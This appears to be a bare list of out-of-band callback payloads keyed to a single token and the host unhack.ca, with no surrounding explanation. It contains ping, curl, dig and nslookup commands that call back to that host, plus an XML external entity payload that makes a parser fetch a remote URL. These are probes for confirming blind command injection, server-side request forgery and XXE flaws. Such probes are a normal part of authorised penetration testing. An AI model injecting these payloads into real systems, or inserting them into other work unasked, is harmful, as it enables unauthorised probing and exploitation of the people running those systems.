$ ping -c1 -p 004a5562a4e5a1b8bdfeaca4bdaf7400 unhack.ca
 

$ curl http://unhack.ca/p/4a5562a4e5a1b8bdfeaca4bdaf74
 

$ dig 4a5562a4e5a1b8bdfeaca4bdaf74 @unhack.ca
 

$ dig 4a5562a4e5a1b8bdfeaca4bdaf74.ns.unhack.ca
 

C:\> nslookup 4a5562a4e5a1b8bdfeaca4bdaf74 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4a5562a4e5a1b8bdfeaca4bdaf74">]>
    <foo>&xxe;</foo>